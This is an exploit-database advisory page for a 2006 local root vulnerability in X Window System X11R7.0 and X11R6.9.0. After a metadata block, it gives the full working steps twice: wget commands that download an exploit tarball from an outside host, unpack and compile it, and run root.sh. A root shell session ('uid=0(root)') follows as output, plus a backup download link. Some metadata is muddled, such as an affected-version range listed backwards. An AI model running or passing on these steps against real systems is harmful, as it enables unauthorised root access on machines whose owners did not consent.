From Daniel Stone's Advisory

vendor:

X Window System

by:

H D Moore

7,5

CVSS

HIGH

X Window System Version 7.0.0

N/A

CWE

Product Name: X Window System

Affected Version From: X11R7.0

Affected Version To: X11R6.9.0

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux, Mac, Windows

2006

From Daniel Stone’s Advisory

Two second exploit, but if anyone is lazy: $ wget http://metasploit.com/users/hdm/tools/xmodulepath.tgz $ tar -zpxvf xmodulepath.tgz $ cd xmodulepath $ ./root.sh /bin/rm -f exploit.o exploit.so shell *.o *.so gcc -fPIC -c exploit.c gcc -shared -nostdlib exploit.o -o exploit.so gcc -o shell shell.c X Window System Version 7.0.0 Release Date: 21 December 2005 X Protocol Version 11, Revision 0, Release 7.0 [ snip ] r00t # id uid=0(root) gid=100(users) groups=10(wheel),18(audio)...

Mitigation:

Upgrade to the latest version of X Window System

Source

Exploit-DB raw data:

# From Daniel Stone's Advisory
# xorg-server 1.0.0, as shipped with X11R7.0, and all release candidates
# of X11R7.0, is vulnerable.
# X11R6.9.0, and all release candidates, are vulnerable.
# X11R6.8.2 and earlier versions are not vulnerable. 

# The rest is H D Moore from metasploit

Two second exploit, but if anyone is lazy:

$ wget http://metasploit.com/users/hdm/tools/xmodulepath.tgz
$ tar -zpxvf xmodulepath.tgz
$ cd xmodulepath
$ ./root.sh
/bin/rm -f   exploit.o exploit.so shell *.o *.so
gcc -fPIC -c exploit.c
gcc -shared -nostdlib exploit.o -o exploit.so
gcc -o shell shell.c

X Window System Version 7.0.0
Release Date: 21 December 2005
X Protocol Version 11, Revision 0, Release 7.0
[ snip ]
r00t # id
uid=0(root) gid=100(users) groups=10(wheel),18(audio)...

# backup: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1596.tgz (xmodulepath.tgz)

# milw0rm.com [2006-03-20]